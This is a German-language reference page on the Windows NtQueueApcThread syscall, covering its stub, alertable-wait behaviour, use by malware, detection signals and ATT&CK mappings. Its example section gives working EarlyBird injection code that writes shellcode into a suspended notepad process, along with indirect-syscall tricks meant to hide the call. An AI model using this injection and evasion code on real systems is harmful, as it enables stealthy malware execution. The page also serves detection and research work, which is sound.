NtQueueApcThread

Prototyp

NTSTATUS NtQueueApcThread(
  HANDLE          ThreadHandle,
  PIO_APC_ROUTINE ApcRoutine,
  PVOID           ApcArgument1,
  PVOID           ApcArgument2,
  PVOID           ApcArgument3
);

Argumente

Syscall-IDs pro Windows-Version

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 45 00 00 00      mov eax, 0x45
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

Reiht einen regulären User-APC im Zielthread ein. SSN `0x45` ist über jeden ausgelieferten Win10/11-Build stabil. Ein eingereihter User-APC feuert nur, wenn der Zielthread in einen *alertable* Wait eintritt (`SleepEx(... TRUE)`, `WaitForSingleObjectEx(... TRUE)`, `MsgWaitForMultipleObjectsEx`, GUI-Message-Loop-Idles). Wird der Thread niemals alertable, bleibt der APC dauerhaft in der Queue — deshalb wurde `NtQueueApcThreadEx` mit `QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC` (Win10 1809+) eingeführt, das das Feuern erzwingt. EarlyBird-APC-Injection umgeht die Alertable-Anforderung, indem ein frisch erzeugter suspendierter Thread vor seiner ersten Instruktion adressiert wird.

Häufige Malware-Nutzung

Zwei Hauptvarianten missbrauchen das. (1) Klassische Remote-APC-Injection: einen Zielthread öffnen, einen APC einreihen, der auf `LoadLibraryA` oder direkt auf Shellcode in `ApcArgument1` zeigt, auf das Feuern warten. (2) EarlyBird: einen harmlosen Prozess suspendiert starten, den APC auf dem Primärthread einreihen, bevor der Loader läuft, dann fortsetzen — der APC feuert, wenn der Loader seinen ersten alertable Wait in `ntdll!LdrpInitializeProcess` erreicht. Verwendet von Lazarus (BISTROMATH), FIN7/Carbanak, Finfisher, der ursprünglichen APC+Atombombing-Kombi und Cobalt-Strike-`AddressOfPage`-BOFs.

Erkennungs­möglichkeiten

Es gibt kein dediziertes Sysmon-Event. ETW Threat Intelligence emittiert `EtwTiLogQueueApcThread` für prozessübergreifend eingereihte User-APCs — das ist das wichtigste kernelseitige Signal und was die meisten EDRs konsumieren. Der `PsSetCreateThreadNotifyRoutine`-Callback feuert nur bei Thread-Erzeugung, nicht beim APC-Enqueue, sodass EarlyBird durch die *Kombination* `CreateProcess(SUSPENDED)` + `NtQueueApcThread` + `NtResumeThread` aus einem Nicht-Debugger-Parent erkannt wird. Stack-Walk-Telemetrie bei APC-Delivery ist der Goldstandard: zeigt der Returnpfad nur ntdll-Frames mit einer APC-Routine in privatem Speicher, ist das hochkonfidente Injection.

Direkte Syscall-Beispiele

; Direct syscall stub for NtQueueApcThread (SSN 0x45, stable across all Win10/11)
NtQueueApcThread PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 45h          ; SSN
    syscall
    ret
NtQueueApcThread ENDP

// Spawn target suspended, write shellcode, queue APC, resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

SIZE_T size = shellcode_len;
PVOID  remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

// APC fires inside ntdll!LdrpInitializeProcess's first alertable wait.
NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);

// Resolve SSN dynamically; even though 0x45 is stable, indirect syscalls hide it.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                            "NtQueueApcThread"));
set_ssn(ssn);
indirect_syscall_invoke(/* hThread, remote_shellcode, NULL, NULL, NULL */);

MITRE ATT&CK-Mappings

• T1055.004Asynchronous Procedure Callmitre ↗
• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗